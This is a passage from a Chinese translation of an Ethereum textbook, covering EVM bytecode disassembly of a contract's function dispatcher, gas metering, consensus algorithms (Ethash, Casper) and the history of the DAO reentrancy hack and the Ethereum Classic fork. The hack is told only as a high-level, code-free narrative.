如果你比较这些命令的输出，你会看到运行时字节码是部署字节码的一个子集。换句话说，运行时字节码会被完整地包含在部署字节码中。



字节码的反汇编



对EVM字节码进行反编译是理解高级语言Solidity如何在EVM中运作的一个极好的方式。这里有几个你可以使用的反编译工具：

·Porosity是一个流行的开源反汇编工具。

·Ethersplay是Binary Ninjia反汇编工具的EVM插件。

·IDA-Evm是IDA反汇编工具的EVM插件。

这一节中我们会使用Binary Ninja的插件Ethersplay作为开始，如图13-2所示。在获得Faucet.sol的运行时字节码之后，我们可以把它提供给Binary Ninjia（当然要先加载Ethersplay插件）来看看EVM指令到底是什么样子。




图13-2：反编译Faucet运行时字节码

当你发送一个交易到一个兼容ABI的合约（你可以假定所有合约都兼容）时，交易首先会与合约的转发器进行交互。它会读取交易的data字段数据并将相关的部分发送到对应的函数。我们可以在反编译的Faucet.sol运行时字节码开头看到一个这种转发器的例子。在熟悉的MSTORE指令之后，我们会看到下列指令：






PUSH1 0x4



CALLDATASIZE



LT



PUSH1 0x3f



JUMPI







就像我们看到的那样，PUSH10x4把0x4压入栈顶；CALLDATASIZE则取得了随交易发送的数据（也就是calldata）的字节大小，并将其压入栈顶。在这些操作执行之后，栈中的数据应该是这样的：




下一个指令是LT，也就是“小于”（lessthan）的缩写。LT指令会检查栈顶元素的数值是否小于其下的第二个元素的数值。在这个例子中，它会检查CALLDATASIZE的结果是否小于4字节。

那为什么EVM要检查交易的calldata大小至少应该有4字节呢？这是源于函数是如何被标识的。每个函数都是由它自己的keccak-256哈希值的前4字节来标识的。通过将函数名和它的参数类型作为keccak-256哈希函数的输入数据，我们可以将函数标识缩短。在这个合约里，我们有：






keccak256("withdraw(uint256)") = 0x2e1a7d4d...







于是，函数withdraw(uint256)的函数标识就是0x2e1a7d4d，它们是哈希结果的前4字节。函数标识的长度是固定的4字节，所以如果随交易发送的data（数据）字段长度小于4字节，那么除非定义了回退函数，否则将必定无法匹配到可交互的函数。因为我们在Faucet.sol中实现了一个回退函数，所以当calldata的长度小于4字节时，EVM会跳转到这个函数来执行。

LT操作会从栈顶弹出两个元素的数据，如果交易的data字段长度小于4字节，则将1再压入栈顶；否则，压入0。在我们的例子里，让我们假设交易发送到我们的合约的data字段是小于4字节的。

然后，PUSH10x3f指令会把字节数据0x3f压入栈顶。在这个指令执行之后，栈中的数据应该为：




下一个指令是JUMPI，也就是“条件跳转”（jump if）。它是这样运作的：






jumpi(label, cond) // Jump to "label" if "cond" is true







在这里，label是0x3f，也就是回退函数在合约里的位置。cond参数值为1，也就是之前的LT指令的结果。连起来说整个处理就是如果交易中附带的数据小于4字节，则会跳转到该合约的回退函数。

在0x3f位置，仅有一个STOP指令，这是因为虽然我们声明了回退函数，但它只是个空函数。就像你在图13-3中看到的那样，如果我们没有实现回退函数，将会产生一个异常。




图13-3：跳转到回退函数的JUMPI指令

下边我们来看看转发器中间的部分。假设我们接收到的calldata的长度大于4字节，这样的话，JUMPI指令就将不会跳转到回退函数。代码执行将按照下面的指令来进行：






PUSH1 0x0



CALLDATALOAD



PUSH29 0x1000000...



SWAP1



DIV



PUSH4 0xffffffff



AND



DUP1



PUSH4 0x2e1a7d4d



EQ



PUSH1 0x41



JUMPI







PUSH10x0会将0压入栈顶（目前栈已经重新变为空了）。CALLDATALOAD接受一个作为在发送到合约的calldata中索引的参数，然后从这个索引位置读取32字节，就像这样：






calldataload(p) //load 32 bytes of calldata starting from byte position p







由于之前用PUSH10x0命令已经将索引值0传入，所以CALLDATALOAD会从calldata中第0字节开始读取32字节，然后将此数据压入栈顶（当然是在先把栈顶原来的0x0弹出之后）。在执行了PUSH290x1000000...指令之后，栈中的数据会变为：




SWAP1会将栈顶元素和其后的第1个元素的值进行交换。在这里，它会交换0x1000000...和calldata，于是栈中的数据会变为：




接下来的指令是DIV，它将会以如下方式运作：






div(x, y) // integer division x / y







在这里，x为calldata中从第0字节开始的32字节，y为0x10000000...（29字节长）。你能理解为什么转发器要做这个除法么？提示一下，我们先前从calldata的第0字节位置读取了32字节，calldata的前4个字节就是函数标识。

我们先前压入栈中的0x100000000...有29字节长，最高位为1其余所有位都为0（十六进制的1后边56个0，共29字节）。用calldata的前32字节除以这个0x100000000...就会得到从calldata的第0字节开始的前4个字节。这4个字节数据就是函数标识，这就是EVM获取这个数据的过程。

如果这对你来讲还不够清晰，你可以这样想：基于十进制，1234000/1000=1234；那基于十六进制也没什么区别。除了将所有位是10的倍数变为所有位是16的倍数。就像在这个例子里除以10

3


 （1000）一样，将我们的32字节十六进制数值除以16

56


 也是一样的。

这个DIV的结果（函数标识）会被压入栈顶，现在栈中的数据将是：




由于PUSH40xffffffff和AND指令是冗余的，我们可以把它们忽略，它们执行完之后，栈中的数据将保持不变。DUP1指令会复制栈中的第1个元素，即函数标识。下一个指令PUSH40x2e1a7d4d会将事先计算好的withdraw(uint256)函数的函数标识压入栈顶。现在栈中的数据将是：




下一个指令EQ会弹出栈顶的两个元素并对它们进行比较。这就是转发器要做的主要工作：判断交易数据中的msg.data字段所传入的函数标识是否与withdraw(uint256)的函数标识相同。如果它们相同，EQ会把1压入栈顶，最终将使程序跳转到withdraw函数；否则，EQ会把0压入栈顶。

假设交易传入合约的数据确实是由withdraw(uint256)的函数标识所开头的，那么栈中的数据将变为：




然后，我们执行PUSH10x41，将withdraw(uint256)在这个合约代码中的起始地址压入栈顶，栈中的数据将变为：




下面就是JUMPI指令，它会从栈顶获取两个元素作为参数。在这里，实际上就是jumpi(0x41,1)，这会告知EVM要跳转到withdraw(uint256)函数的起始位置，从而开始执行那个函数的代码。




[1]

 这里所说的内存数值是指那些EVM字节码运行所需要的输入、输出参数数据和智能合约程序运行中所需要的局部变量等数据，而不是指下文中所提到的“内存”数据；下文中的“内存”是一个与栈共同存在的、独立的临时存储空间。




[2]

 实际上应该是“消息”（message），并不是通过EOA签名的“交易”（transaction）。




图灵完备和gas



就像我们已经接触到的那样，用简单的术语来解释，如果一个系统或者编程语言能够解决你交给它的所有问题，它就是图灵完备的。然而这种能力伴随着一个非常重要的警示：有些问题需要无限的资源去解决。这里的关键就是：我们无法仅通过观察一个计算机程序来确定它是否需要无限的资源去执行。我们不得不去实际执行这个程序，然后等待它的结束来确定这个问题。当然，如果它需要花费无限的资源去执行，我们也只能无限地等待下去才能知道结果。这就是所谓的“停机问题”，如果以太坊里不能明确地解决这个问题，这就会成为一个巨大的麻烦。

由于停机问题，以太坊世界计算机就有了一个被程序要求永远执行下去的风险。这可能是由于某些意外情况或者恶意的目的。我们曾讨论过，以太坊就像是一个单线程的计算机，没有调度程序，所以它会被无限循环卡住，而这将会使它变得不可用。

不过在有了gas之后，也就有了一个解决方案：如果在一个预先指定的最大计算量被用尽的时候计算还没有结束，那么所有处理都会无条件地停止。这就使EVM成为一个准图灵完备的机器：它可以解决你交给它的所有问题，但前提是这个问题可以在一定量的计算量内被解决。在以太坊里，这个限制并不是固定的，你可以通过支付费用来将它提高到最大值（也就是所谓的“区块gas限制”）并且所有人可以同意随时间的推移提高这个最大值。尽管如此，在某个时间，必然会有一个限制，当交易花费太多gas执行时它就会被中止。

在后续的段落中，我们会具体介绍gas的概念以及它是如何运作的。




gas



gas是以太坊协议中的计量单位，我们用它来计量在以太坊区块链上执行具体操作所要花费的计算量和存储资源。与比特币协议中仅仅以交易数据的字节大小来计算交易费不同，以太坊协议中计算交易费时需要计量由交易和智能合约代码执行所引发的所有计算步骤。

由交易和合约代码触发的每个操作都会消耗固定数量的gas，以下是黄皮书中的几个例子：

·相加两个数值需要消耗3 gas。

·计算Keccak-256哈希需要消耗30 gas，每256位输入数据额外消耗6 gas。

·发送一个交易需要消耗21000 gas。

gas是以太坊中极其重要的组成部分，它扮演了双重角色：作为以太坊中浮动的价格和矿工奖励之间的缓冲，以及对抗拒绝服务攻击的防范措施。为了防止网络中意外的或者恶意的无限循环以及其他形式的计算浪费，每个交易的创建者都需要设定一个限制来表明他们愿意为交易执行所付出的计算量。gas系统借此来降低攻击者们发送“垃圾”交易的意愿，因为他们必须为他们所消耗的计算量、带宽和存储资源付出代价。



执行阶段的gas计量



当需要EVM进行计算来完成交易时，第一个EVM实例将获得与交易中所指定的gas上限相同数量的可用gas。每个操作码的执行都会消耗gas，于是这个EVM的gas供给就会在程序执行过程中相应减少。在每个操作之前，EVM会检查是否还有足够的gas来支付操作的执行。如果已经没有足够的gas，则执行会被中止，交易也会被撤销。

如果EVM中的执行成功结束，没有出现gas不足的情况，那么执行中实际消耗的gas费用就会被作为交易费支付给矿工。交易费将会基于交易中指定的gas价格折算为以太币：

矿工费＝实际消耗的gas×gas价格

由交易提供的剩余gas将返还给发送者，同样将会基于交易中指定的gas价格折算为以太币：

剩余gas＝gas上限―实际gas消耗

返还的以太币＝剩余gas×gas价格

如果一个交易在执行过程中“gas不足”，操作会被立即中止，并产生“out of gas”异常。交易也会被撤销，所有对状态的修改都会回滚。

但尽管交易没有成功，发送者仍然需要支付交易费，因为矿工们已经为到发生错误时点的操作付出了计算量，他们理应从这些付出中获得报酬。



有关gas计量的一些考虑因素



EVM中的不同操作所花费的gas是被仔细选择确定的，以此来在攻击中保护以太坊区块链。你可以在表C-1中看到不同的EVM操作码会消耗的gas。

操作中包含了越多计算量的操作码其gas消耗会越高。比如，执行SHA3函数的代价（消耗30 gas）大概是ADD操作（消耗3 gas）的10倍。更重要的是，某些操作，比如EXP，需要基于操作数的大小额外支付gas。使用EVM的内存和向合约的链上存储保存数据同样是要消耗gas的。

真实世界中的资源消耗必须与gas消耗相匹配的重要性在2016年获得了印证。当时，一个攻击者发现并利用了gas消耗与实际资源消耗的不匹配，他生成了很多计算量极其巨大的交易，并使以太坊主网堵塞到几乎停止运转。这个问题最终通过一个硬分叉（代号“Tangerine Whistle”）调整了gas消耗才得以解决。



gas消耗和gas价格



gas消耗是对EVM所进行的计算和使用的存储的一个计量，与此相应，gas本身也有一个用以太币来计量的价格。在发送一个交易的时候，发送者需要指定一个他们愿意为每单位gas支付的gas价格（以以太币为单位），来使市场可以决定这些以太币价格与计算操作的消耗（以gas为单位）之间的关系：

交易费＝总gas消耗×gas价格（用以太币作为单位）

以太坊网络中的矿工们在构造新区块的时候可以从处于等待状态的交易中来选取那些gas价格较高的交易。为你的交易提供较高的gas价格可以使矿工们更容易选择它们，从而使它们更快地得到确认。

在实际操作的时候，交易的发送者需要指定一个gas上限，这个上限应该高于或等于他们希望被使用的gas数量。如果gas上限高于实际消耗的gas数量，发送者会获得剩余数量的返还，因为矿工们应该仅从他们实际付出的工作中获得报酬。

清晰地理解gas消耗和gas价格的区别非常重要，这里再次说明：

·gas消耗是执行特定操作所需要的单位gas的数量。

·gas价格是在你发送交易到以太坊网络时指定的希望为每单位gas所支付的以太币数量。

尽管gas是有价格的，但它既不能“持有”也不能“花费”。gas仅在EVM内作为对计算工作量的计量而存在。向发送者收取的交易费是用以太币来计算的，它首先会被换算为供EVM计量的gas，而后会以以太币为单位结算为交易费来支付给矿工们。


负的gas消耗


以太坊鼓励删除使用过的存储变量，这将会计入在合约执行过程中返还的对gas使用的消耗。

EVM中有两个操作带有负的gas消耗：

·删除一个合约（SELFDESTRUCT）会返还24000 gas。

·将一个非零值的存储地址设置为0（SSTORE[x]=0）会返还15000 gas。

为了避免通过返还机制牟利，交易的最大gas返还数量被设定为交易中总共消耗的gas数量的一半（向下舍入）。



区块的gas限制



区块的gas限制指的是一个区块中的所有交易总共能消耗的最大gas数量，它也限定了一个区块中能包含多少交易。

例如，我们假定有5个交易，它们的gas上限分别为30000、30000、40000、50000和50000。如果区块的gas限制是180000，那么任意四个交易都可以包含到一个区块中，第5个交易则需要等待后续区块。就像先前讨论过的那样，矿工们决定哪些交易会被包含到一个新区块中。不同的矿工大概会选择不同的组合，这主要是因为他们从网络中接收到这些交易的顺序是不同的。

如果一个矿工尝试包含一个gas消耗超过区块gas限制的交易，那么这个区块将会被网络拒绝。大多数以太坊客户端会停止处理这个交易，并给出一个类似“transaction exceeds block gas limit”的警告。基于
https://etherscan.io

 上的数据，目前以太坊主网的区块gas限制是800万，这意味着每个区块大概可以包含380个基础交易（每个交易消耗21000 gas）。


区块的gas限制是多少


区块的gas限制是由网络中的矿工们共同决定的。希望在以太坊网络中挖矿的人可以使用一个挖矿程序，比如Ethminer，它将会连接到Geth或者Parity客户端。以太坊协议有一个内置的机制允许矿工们对后续区块的gas限制进行投票以改变其容量。某个矿工可以提议对区块的gas限制做增减最多1/1024（0.0976%）的调整。投票的结果将会决定一个基于当时网络需求的可变的区块大小。这个机制与默认的挖矿策略是绑定的。在默认的挖矿策略中，矿工们会对gas限制进行投票，这个限制至少为470万，但实际上是以最近的平均区块gas消耗（基于1024个区块计算的指数移动平均值）的150%为目标的一个数值。




总结



在本章中我们浏览了以太坊虚拟机的概貌，跟踪了不同智能合约的执行并看到了EVM如何执行字节码。我们也介绍了gas、EVM的计量机制以及它是如何解决停机问题，并保护以太坊免受拒绝服务攻击的。第14章将介绍以太坊为达成去中心化共识所使用的算法。




第14章　共识



在本书叙述过程中，我们已经讨论过了“共识规则”：为了让整个系统可以去中心化且确定性地运行，每个节点都必须同意的一套规则。在计算机科学中，“共识”（consensus）这一术语比“区块链”更早出现，其含义与分布式系统中的普遍问题即状态同步相关，而“状态同步”指的是分布式系统中的不同参与者全体（且最终）对单个系统状态达成一致，这也被称为“达成共识”。

区块链的核心功能是去中心化记录的保存及验证；就实现这一功能而言，仅仅依赖信任来保证添加到账本中的信息形式正确，可能会造成一些问题。在去中心化网络中，这一挑战更为明显，因为没有一个中心来决定哪些信息应当或者不应当被视作真相。然而，无须中央决策实体，正是区块链普及的主要吸引力之一，因为整个系统最终有了抗审查的能力，并且不必因获取信息所需的许可或渠道而依赖权威。当然，这些好处也有潜在的成本，因为，在缺乏可信仲裁者的情况下，所有的争论、骗局以及不一致都要用数学、经济乃至社会技术来调解。而共识算法正是用于兼顾安全性和去中心化的机制。

共识是区块链系统的关键属性，说直白点，系统所承载的都是真金白银。所以，在区块链领域，共识是在保持去中心化的同时使整个系统达成一个共同状态的能力。换句话说，共识的终极目的是打造一个严格按照规则来运行且没有统治者的系统。没有某个人、某个组织或团队“控制着”这个系统；或者说，权力和控制权是分布在广泛的网络参与者之间的，他们的自利是通过遵守规则和诚实行动来实现的。

在一个敌意环伺、没有中心化控制者的分布式网络中达成共识的能力是所有开放性公有区块链的核心。为应对这一挑战、维护去中心化这一有价值的属性，以太坊社区坚持不懈地研究不同的共识模型。本章将探究一些共识模型，并预估它们对像以太坊这样的智能合约区块链会有什么样的影响。


 　虽然共识算法是区块链工作原理中的重要部分，但共识算法非常底层，远比智能合约的抽象还要底层。换句话说，大多数共识的细节都被智能合约编写者隐藏起来了。你不是非要理解其中的工作原理才能使用以太坊，就好像你要使用互联网也不是非要理解路由原理一样。




基于工作量证明的共识机制



最早区块链（比特币）的创造者发明了一种叫作工作量证明（Proof of Work，PoW）的共识算法。可以说，工作量证明是支撑比特币的最重要的发明。工作量证明的通俗表述就是“挖矿”，这一术语使得人们对共识机制的主要目的多有误解。通常人们都假设挖矿的目的就是创造新货币，因为现实世界挖矿就是采掘出贵重金属或其他资源。但是，挖矿（以及其他所有共识模型）的真实目的都是保护区块链的安全，同时保证对系统的控制权是去中心化的（在参与者之间尽可能广泛地分布）。把新铸造的货币作为奖励是激励人们为系统安全做贡献的措施：这只是用于达成目标的一种手段，而不是目的本身。奖励只是工具，去中心化的安全性才是目的。在PoW共识机制中，也存在相应的“惩罚”，也就是参与挖矿所需的能源耗费。如果参与者不遵循共识规则来得到区块奖励，他们已经在挖矿上所花费的电力就有可能血本无归。因此，PoW共识意味着一套风险与收益的细致权衡，驱动着参与者出于自利而遵循共识规则行动。

当前以太坊是一条PoW区块链，也就是说以太坊也使用PoW算法作为基本的激励机制，朝向同样基本的目标：保护区块链的安全同时将控制权力去中心化。以太坊所用的工作量证明算法Ethash与比特币所用的稍有不同。我们将在下文“Ethash：以太坊的PoW算法”一节中解析该算法的功能和设计亮点。




基于权益证明的共识机制



历史上，PoW并不是首个被提出的共识算法。在PoW出现以前，许多研究者提出过基于金融保证金的共识算法变种，现在被定名为权益证明（Proof of Stake，PoS）。在某些方面，PoW也是被发明作为PoS的一种替代方案。但对共识算法的研究大爆发同样也使PoS复苏，极大地推进了这一技术的进展。从一开始，以太坊的创始者就希望最终能将以太坊的共识机制切换成权益证明。实际上，以太坊的PoW算法被精心地置入了一个叫作“难度炸弹”的机制，目的就是逐渐让以太坊的PoW挖矿变得越来越难，迫使网络转向PoS。

在本书付梓之时，以太坊仍在使用工作量证明共识机制，但持续推进的权益证明研究正接近尾声。以太坊计划使用的PoS算法叫作“Casper”。引入Casper替代Ethash的计划已在过去两年中多次推迟，也因此必须采取干预措施，推迟难度炸弹，推迟PoW被迫废止的时间。

总而言之，PoS算法的运作流程大体如下：区块链会跟踪一组验证者，而任何持有区块链原生密码学货币（在以太坊中就是以太币）的人都可以称为验证者，只需发送一笔特殊的交易把自己的以太币作为保证金锁住就好。验证者轮流提议下一个区块并对之投票，每一位验证者投票的权重都与他们质押的保证金（即权益）大小正相关。重要的是，每一个验证者都承担着如果他们所投票支持的区块被大多数验证者拒绝因而失去保证金的风险。若情形相反（大多数验证者都同意某个区块），验证者就可以获得一小笔奖励，奖金数额与他们质押的权益成正比。因此，PoS通过系统的奖励和惩罚让验证者遵守共识规则、诚实地行动。PoS与PoW主要的区别在于PoS中的惩罚是内生于区块链的（例如失去质押的以太币），而PoW中的惩罚是外生的（例如让花在电力上的资金做了无用功）。




Ethash：以太坊的PoW算法



Ethash是以太坊的PoW算法。它使用了Dagger-Hashimoto算法的演化版本，混合了Vitalik Buterin提出的Dagger算法和Thaddeus Dryja的Hashimoto算法。Ethash依赖于对一个大型数据集的生成和分析；该数据集是一个有向无环图（简单来说，它叫“the DAG”）。the DAG一开始约是1GB大小，但其大小会呈缓慢的线性增长，每隔一段时间（3万个区块，或者说约125小时）便更新一次。

使用the DAG的目的是让Ethash工作量证明算法依赖于维护一个大型的且需频繁读取的数据结构。这反过来又是旨在让Ethash具备“抗ASIC性”，也就是让人们更难开发出用于Ethash挖矿的专用型集成电路（ASIC）、难以据此获得比图形处理单元（GPU）快几个量级的挖矿速度。以太坊的创始者希望避免PoW挖矿中的中心化，那些有渠道联系上硅晶片制造工厂又有钱的人可以支配挖矿基础设施产业并降低共识算法的安全性。

使用消费级GPU来产生以太坊网络的工作量证明，意味着世界上的大多数人都可以参与到挖矿过程中。独立矿工越多，挖矿算力就越去中心化，我们也越能避免比特币那样的情形——大多数挖矿算力都集中在一小部分工业级挖矿运营者手上。使用GPU挖矿的负面效果是它造成了2017年全球的GPU短缺，进一步引发显卡价格大幅上涨和游戏玩家的抗议。零售商为此推出了购买限额，一个消费者只能买到一到两个GPU。

迄今为止，以太坊网络的专用集成电路矿机威胁基本上还不存在。要将ASIC用于以太坊挖矿，需要设计、制造和分发高度定制化的硬件。生产这些硬件又需要大量研发时间以及用于设计、模具和制造上的支出。以太坊开发者一直以来的公开计划是转向权益证明共识算法；这让ASIC生产者很长一段时间不敢轻举妄动。一旦以太坊迁移到权益证明算法，为当前共识算法而设计的ASIC就会变成一堆废铁——除非矿工能用它来挖别的加密货币。后一种选择现在是可行的了，因为出现了许多基于Ethash共识算法的币种，比如PIRL、Ubiq，并且，以太坊经典也已承诺在可见的未来继续使用PoW共识。这意味着我们可能会看到，ASIC挖矿开始变成以太坊网络中的一股力量
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 ，虽然它只能用于PoW共识算法。




[1]

 截至2019年1月，中国市场上仅有一款Ethash矿机最接近ASIC概念，但由于产能限制尚未普及，因此可以说ASIC威胁还不存在。此外，有传言说深圳一家企业已经设计出了一款ASIC，其挖矿效率可达普通显卡的7倍，但尚未有实物面市。




Casper：以太坊的PoS算法



Casper是以太坊PoS共识算法的代号。本书英文版付梓之时，算法仍处在活跃的研究和开发过程中，尚未部署到以太坊区块链上。Casper有两种相互竞争的路线：

·Casper FFG：“The Friendly Finality Gadget”。

·Casper CBC：“The Friendly GHOST/Correct-by-Construction”。

最初，Caspers FFG被设计为一种PoW/PoS混合算法，作为永久的“纯PoS”算法的过渡阶段。但在2018年6月，Vitalik Burerin（他担任了Casper FFG研究工作的领导者）决定放弃这种混合模式，代之以纯粹的PoS算法。现在Casper FFG与CBC是并行开发的。正如Vitalik解释的那样：“FFG和CBC之间的主要权衡在于CBC在理论上会有更好的属性，但FFG更容易实现。”

更多关于Casper历史、尚在进行中的研究和未来计划的信息，请见下列网页
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 ：

·Ethereum Casper(Proof of Stake)，参见网址
https://twitter.com/i/moments/10362814-60704112645

 。

·History of Casper,Part 1，参见网址
https://medium.com/@Vlad_Zamfir/the-history-of-casper-part-1-59233819c9a9

 。

·History of Casper,Part 2，参见网址
https://medium.com/@Vlad_Zamfir/the-history-of-casper-chapter-2-8e09b9d3b780

 。

·History of Casper,Part 3，参见网址
https://medium.com/@Vlad_Zamfir/the-history-of-casper-chapter-3-70fefb1182fc

 。

·History of Casper,Part 4，参见网址
https://medium.com/@Vlad_Zamfir/the-history-of-casper-chapter-4-3855638b5f0e

 。

·History of Casper,Part 5，参见网址
https://medium.com/@Vlad_Zamfir/the-history-of-casper-chapter-5-8652959cef58

 。




[1]

 上述网页的译本皆可以在EthFans.org网站中找到，其中第一篇标题为“Casper的过去、现在和未来”，后面几篇标题为“Casper的历史”。其中第一篇应视为过去一年中关于Casper的重要文献。但还应从其他地方获取关于Casper的新模式的资料。




共识的原则



共识算法的原理和假设可以通过追问下列问题获得更直观的理解：

·谁能更改历史数据，如何更改呢？（这就是所谓的“不可更改性”）

·谁能确定未来的上链数据，又如何确认呢？（这就是所谓的“确定性”）

·确认数据的时候，要耗费些什么呢？

·确认数据的权力有多去中心化？

·如果某些数据发生了变化，谁会察觉？他们用什么方式察觉？

共识算法正在迅速演进，不断尝试用更具创意的方式来回答这些问题。




争议和竞争



读到此处，你可能会有些困惑：为什么我们需要这么多种不同的共识算法呢？哪一种共识算法更好？后一个问题正是过去十年大部分分布式系统研究的核心。这其实完全取决于你如何定义“更好”——在计算机科学的范畴中，算法的属性与运行环境假设、目标和不可避免的权衡有关。

也可能没有一个算法在所有分布式共识问题的所有领域内都是最优的。当某些人主张某个共识算法比其他算法“更好”的时候，你应该清晰地提出下列问题：在哪一点上更好呢？是不可更改性、确定性、去中心化还是运行消耗呢？至少在现在，这些问题都还没有明确的答案。进一步地说，共识算法的设计乃是这个价值几十亿的产业的核心，也催生了无数激烈的争吵。最终，可能并没有所谓的“标准”答案，就好像不同的应用要使用不同的方案一样。

整个区块链行业都是一个大型实验，这些问题会在敌意环伺的环境中测试，并且还会赌上巨大的经济价值。说到底，历史会告诉我们答案。




总结



本书完成之时，以太坊的共识算法仍在不断改进之中。在将来的新版中，我们有可能会加入更多关于Casper和其他相关技术的细节，只要这些技术是成熟的并且已经部署到了以太坊上。本章是全书的终章，意味了你的精通以太坊之旅告一段落了。附录中还包含了一些额外的参考文献。




附录A　以太坊的分叉历史



大多数时候，硬分叉都是计划中的一部分，其中包含的也是整个社区普遍同意的更新（即社会层面的“共识”）。然而，一些硬分叉并不总是取得了整个社区的共识，其结果便是产生了多条独立的区块链。导致以太坊/以太坊经典分裂的事件就是这么一种情况。



以太坊经典（ETC）



以太坊经典的出现，是因为以太坊的社区成员接受了一个强时效性的硬分叉（“DAO硬分叉”）。在2016年7月20日，区块高度为192万时，以太坊通过一次硬分叉引入了一个特殊的状态变更，目标是取回在“The DAO”智能合约中被盗走的接近360万个以太币。几乎每个人都同意：合约中保存的以太币已被偷走，将这些以太币拱手交给黑客会对以太坊生态系统和平台本身造成重大伤害。

在The DAO还存在时，如果出现了政治上的争议，原主人取出以太币在技术上是很容易的。但生态中的一些人不同意这一变更，坚信“不可变性”是以太坊区块链的根本原则，不能允许例外；他们选择继续留在那条初始的链上，并以“以太坊经典”作为链的名字。虽然这次分裂一开始纯粹是意识形态分歧，但后来两条链都演化出了独立的社区实体。



The DAO：去中心化的自治组织



The DAO是由Slock.it创立的。创立它的目标是为项目提供基于社区的资金支持和治理。其核心理念是：任何人都可以提交提议，而管理人（Curator）会管理提议，以太坊社区中的投资人可以投资，并且一旦项目获得成功，投资人就可以分享利润。

The DAO也是第一批以太坊代币实验中的一个。参与者不会直接用以太币投资项目，相反，他们用以太币换取DAO代币，然后使用代币为项目融资投票，获利后再将代币换成以太币。

DAO代币可以在众筹中购得，DAO的代币销售从2016年4月5日一直进行到4月30日，募资额约为当时以太币市值的14%（
https://www.economist.com/finance-and-econo-mics/2016/05/19/the-dao-of-accrue

 ），在当时价值1.5亿美元。



可重入性漏洞



2016年6月9日，开发者PeterVessenes和Chriseth报告说，管理基金的大多数基于以太坊的合约容易受到可能清空合约资金漏洞的攻击（
https://vessenes.com/more-ethereum-attacks-race-to-empty-is-the-real-deal/

 ）。几天后，6月12日，StephenTual（Slock.it的联合创始人）说，DAO的代码不容易受到Peter和Chriseth描述的漏洞的影响（
https://blog.slock.it/no-dao-funds-at-risk-following-the-ethereum-smart-contract-recursive-call-bug-discovery-29f482d348b

 ）。令人担忧的DAO贡献者松了一口气。但5天后，一位不知名的攻击者（
http://hackingdistributed.com/2016/06/18/analysis-of-the-dao-exploit/

 ）开始使用类似的漏洞攻击DAO。最终，攻击者从DAO中抽走了约360万以太币。

同时，一群自称为罗宾汉小组（RHG）的志愿者开始使用相同的漏洞来挽回合约中剩余的以太币，以免他们被攻击者窃取。6月21日，RHG宣布他们已经挽回了大约70%的DAO资产（大约价值720万以太币），计划将其退回社区（他们在ETC网络上成功地完成了退币，由于分岔，他们不需要在以太坊网络上再进行退币）。社区对RHG的快速思考和行动给予了很多感谢和赞扬，这些行动有助于保护社区的大部分以太币。



技术细节



虽然Phil Daian给出了一个更详细和彻底的漏洞分析（
http://hackingdistributed.com/2016/06/18/analysis-of-the-dao-exploit/

 ），但简单来说，这个漏洞就是DAO合约中一个关键功能有两行代码的顺序写错了，这意味着在检查攻击者是否有权限执行提取代币这个判断完成之前，攻击者可以重复执行提取操作。有关合约安全的第9章，“重入”一节中介绍了此类漏洞。



攻击过程



想象一下，你的银行账户中有100美元，你可以向你的银行出纳员出示任意金额的提款单。出纳员会按顺序给你的每张提款单支付对应的现钞，并且只有在处理完“所有”单据后才把提款金额与你的银行账户余额进行匹配。如果你给他们出示了三张提款单，每张都要求提取100美元怎么办？如果你要求提取三千怎么办？

DAO攻击的工作原理如下：

1.DAO攻击者请求DAO合约提取DAO代币。

2.在合约更新其记录以显示DAO代币被提取之前，攻击者再次请求提取代币。

3.攻击者尽可能多次重复步骤2。

4.合约最终记录了一次DAO提币操作，但是却损失了在此期间发生的所有其他提币请求所对应的代币。



The DAO的硬分叉



幸运的是，DAO合约内置了几项保障措施。值得注意的是，所有提币请求都要延迟28天后才会被执行。这给了社区一些时间来讨论如何处理这个漏洞，因为大约从2016年6月17日到2016年7月20日，DAO的攻击者将无法将他们的DAO代币转换为以太币。一些开发人员专注于寻找可行的解决方案，并在如此短的时间内探索了多种途径。其中包括2016年6月24日宣布的DAO软分叉（
https://blog.ethereum.org/2016/06/24/dao-wars-youre-voice-soft-fork-dilemma/

 ），以推迟DAO合约释放代币，直到整个社区就这次攻击的解决办法达成共识，以及2016年7月15日宣布的DAO硬分叉（
https://blog.slock.it/hard-fork-specification-24b889e70703

 ），通过异常的状态转换来消除DAO攻击的影响。

2016年6月28日，开发人员在DAO软分叉中发现了一个DoS漏洞（
https://blog.ethereum.org/2016/06/28/security-alert-dos-vulnerability-in-the-soft-fork/

 ），并得出结论认为DAO硬分叉是完全解决这种情况的唯一可行选择。DAO硬分叉将把投资于DAO的所有以太币转移到新的退款智能合约中，允许以太币的原始所有者要求全额退款。这提供了一个返回被黑客控制资金的解决方案，但也意味着人为地干扰了网络上特定地址的账户。在DAO的部分中也会有一些剩余的以太币称为childDAO。一组受托人将手动授权剩余的以太币，当时价值约600万~700万美元（
https://elaineou.com/2016/07/18/stick-a-fork-in-ethereum/

 ）。

随着时间的流逝，多个以太坊开发团队创建了允许用户决定是否要启用此分支的客户端。但是，客户端的创建者需要决定是否把分叉设置为客户端默认选择。2016年7月15日，社区在carbonvote.com（
https://github.com/ethfans/carbonvote

 ，由中国程序员吕国宁开发）上就此进行了投票表决。第二天，在区块高度1894000处（
https://etherscan.io/block/1894000

 ），投票正式关闭。参与投票的成员占以太币发行总量的5.5%（
https://elaineou.com/2016/07/18/stick-a-fork-in-ethereum/

 ），约80%的投票选择把分叉设定为客户端的默认选项。其中有四分之一选择分叉的投票来自同一个以太币地址。

最终投票的结果是要求把分叉设置为客户端的默认选择，因此那些反对DAO硬分叉的人需要通过更改他们运行的软件中的配置选项来明确表明他们不希望分叉（想留在以太坊经典）的态度。

在2016年7月20日，在块高度1920000处（
https://etherscan.io/block/1920000

 ），以太坊实施了DAO硬分叉（
https://blog.ethereum.org/2016/07/20/hard-fork-completed/

 ），因此创建了两个以太坊网络：一个包括状态变化，另一个忽略它。

当DAO硬分叉的以太坊（现今的以太坊）获得了大部分矿工支持时，许多人认为这就算是达成了共识，代表少数派的以太坊经典将逐渐消失，就像以前的分叉一样。尽管如此，以太坊社区的相当大一部分（大约10%的价值和采矿能力）开始支持非分叉链，后来被称为以太坊经典。

在分叉的几天后，几个交易所开始分别显示以太坊（“ETH”）和以太坊经典（“ETC”）。由于硬分叉的性质，所有在拆分时持有以太币的用户随后在两个分叉都持有资金，并且很快就建立了ETC的市场价值，Poloniex于2016年7月24日上市交易ETC。



The DAO的硬分叉过程



·2016年4月5日：Slock.it在Dejavu Security完成安全审核后创建了DAO（
https://blog.slock.it/deja-vu-dao-smart-contracts-audit-results-d26bc088e32e

 ）。

·2016年4月30日：DAO众筹发布会（
